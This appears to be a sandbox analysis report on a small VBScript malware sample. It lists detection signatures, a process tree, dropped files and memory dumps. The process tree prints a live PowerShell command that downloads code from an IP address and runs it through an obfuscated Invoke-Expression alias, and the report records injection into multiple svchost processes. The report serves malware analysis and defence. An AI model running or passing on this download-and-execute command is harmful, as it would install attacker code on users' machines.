Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/10/2026, 18:00

General

  • Target
    agent_20261006_184902.vbs
  • Size 175B
  • Sample261007-wllcksdx3j
  • SHA256 4f75b70ef696ec050a6ee5f6be7bd7be445526aa5a3b23f5340ecc097281ca11
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 10 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\agent_20261006_184902.vbs"
    1⤵
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "irm http://23.132.164.37:8080/829ed81c-30b7-4968-8336-47d09423f4c6 | & (gal i?x)"
      2⤵
      • Badlisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1612
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4oov2urq\4oov2urq.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1360
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9E1F.tmp" "c:\Users\Admin\AppData\Local\Temp\4oov2urq\CSCC501DFD3F23848A494824989882EA8DA.TMP"
          4⤵
            PID:748
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ly43uoul\ly43uoul.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3844
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9FB6.tmp" "c:\Users\Admin\AppData\Local\Temp\ly43uoul\CSC878FBC7EF25746E0AD4E29B9CBFC32D.TMP"
            4⤵
              PID:1740
          • C:\Windows\System32\svchost.exe
            "C:\Windows\System32\svchost.exe"
            3⤵
            • Executes dropped EXE
            PID:5288
          • C:\Windows\System32\svchost.exe
            "C:\Windows\System32\svchost.exe"
            3⤵
            • Executes dropped EXE
            PID:1040
          • C:\Windows\System32\svchost.exe
            "C:\Windows\System32\svchost.exe"
            3⤵
            • Executes dropped EXE
            PID:2144
          • C:\Windows\System32\svchost.exe
            "C:\Windows\System32\svchost.exe"
            3⤵
            • Executes dropped EXE
            PID:2356
          • C:\Windows\System32\svchost.exe
            "C:\Windows\System32\svchost.exe"
            3⤵
            • Executes dropped EXE
            PID:5884
          • C:\Windows\System32\svchost.exe
            "C:\Windows\System32\svchost.exe"
            3⤵
            • Executes dropped EXE
            PID:552
          • C:\Windows\System32\svchost.exe
            "C:\Windows\System32\svchost.exe"
            3⤵
            • Executes dropped EXE
            PID:1500
          • C:\Windows\System32\svchost.exe
            "C:\Windows\System32\svchost.exe"
            3⤵
            • Executes dropped EXE
            PID:4756
          • C:\Windows\System32\svchost.exe
            "C:\Windows\System32\svchost.exe"
            3⤵
            • Executes dropped EXE
            PID:3240
          • C:\Windows\System32\svchost.exe
            "C:\Windows\System32\svchost.exe"
            3⤵
            • Executes dropped EXE
            PID:5888

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            4oov2urq.dll

            • Path C:\Users\Admin\AppData\Local\Temp\4oov2urq\4oov2urq.dll
            • Size 3KB
            • SHA256 561b44a6f1e84aa31086f5211d752115997bddecc05fed2c34bc461b9f494358
            • MD5 SHA1 SHA512 TLSH

            RES9E1F.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES9E1F.tmp
            • Size 1KB
            • SHA256 9be6453bde8eca6797ed06da4cde1fa057df84e57f60c1c5ed96a220feab16f6
            • MD5 SHA1 SHA512 TLSH

            RES9FB6.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES9FB6.tmp
            • Size 1KB
            • SHA256 7ee38411844e5686c6116b3f1e98f04fa04f9d8fec7225cced7c40222cb65b81
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_wkggr510.e22.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wkggr510.e22.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            ly43uoul.dll

            • Path C:\Users\Admin\AppData\Local\Temp\ly43uoul\ly43uoul.dll
            • Size 7KB
            • SHA256 0548b8be12c888d44b29aca228086b755ca29fc391c8a3dbf2e548d00c535f17
            • MD5 SHA1 SHA512 SSDEEP TLSH

            4oov2urq.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\4oov2urq\4oov2urq.0.cs
            • Size 295B
            • SHA256 e79f623eda1fb8bfb3ceb441dadf01a25b45f37f19f39ff256c77d52f8b454e8
            • MD5 SHA1 SHA512 TLSH

            4oov2urq.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\4oov2urq\4oov2urq.cmdline
            • Size 369B
            • SHA256 5e35ae2afb360333d80de980058592384446f8fbd76ae714c28f650a5b6a2d09
            • MD5 SHA1 SHA512 TLSH

            CSCC501DFD3F23848A494824989882EA8DA.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\4oov2urq\CSCC501DFD3F23848A494824989882EA8DA.TMP
            • Size 652B
            • SHA256 e50b1608a121eec18b0853a9ed271de1c364e756805f23f515fe822f59de1cbc
            • MD5 SHA1 SHA512 TLSH

            CSC878FBC7EF25746E0AD4E29B9CBFC32D.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\ly43uoul\CSC878FBC7EF25746E0AD4E29B9CBFC32D.TMP
            • Size 652B
            • SHA256 3e2548cb171674209d06d5c6910406d86528de6aa4e6c53031c2999bacc74a04
            • MD5 SHA1 SHA512 TLSH

            ly43uoul.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\ly43uoul\ly43uoul.0.cs
            • Size 10KB
            • SHA256 e098b4d074052a8cfb3a15706dfc9827e9b0200e0163b68fa4760d60ff032ab8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ly43uoul.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\ly43uoul\ly43uoul.cmdline
            • Size 369B
            • SHA256 8b0992ecda493367043904aa0534c6e2bb74287e17b2795ca8790a4eacebe54b
            • MD5 SHA1 SHA512 TLSH

            memory/552-952-0x00007FF63A3A0000-0x00007FF63A3AC000-memory.dmp

            memory/1040-344-0x00007FF737D40000-0x00007FF737D4C000-memory.dmp

            memory/1500-1104-0x00007FF78E970000-0x00007FF78E97C000-memory.dmp

            memory/1612-141-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

            memory/1612-0-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

            memory/1612-10-0x0000012AD30D0000-0x0000012AD3292000-memory.dmp

            memory/1612-2-0x0000012AB7FE0000-0x0000012AB8002000-memory.dmp

            memory/1612-39-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

            memory/1612-40-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

            memory/1612-23-0x0000012AD0640000-0x0000012AD0648000-memory.dmp

            memory/1612-24-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

            memory/1612-37-0x0000012AD2C80000-0x0000012AD2C88000-memory.dmp

            memory/1612-1-0x0000012AD0650000-0x0000012AD0660000-memory.dmp

            memory/2144-496-0x00007FF7E8BF0000-0x00007FF7E8BFC000-memory.dmp

            memory/2356-648-0x00007FF7B9B20000-0x00007FF7B9B2C000-memory.dmp

            memory/3240-1408-0x00007FF6ED160000-0x00007FF6ED16C000-memory.dmp

            memory/4756-1256-0x00007FF664CE0000-0x00007FF664CEC000-memory.dmp

            memory/5288-192-0x00007FF7BBDF0000-0x00007FF7BBDFC000-memory.dmp

            memory/5288-41-0x000001398A280000-0x000001398A2FB000-memory.dmp

            memory/5884-800-0x00007FF6EB830000-0x00007FF6EB83C000-memory.dmp

            memory/5888-1560-0x00007FF7EF450000-0x00007FF7EF45C000-memory.dmp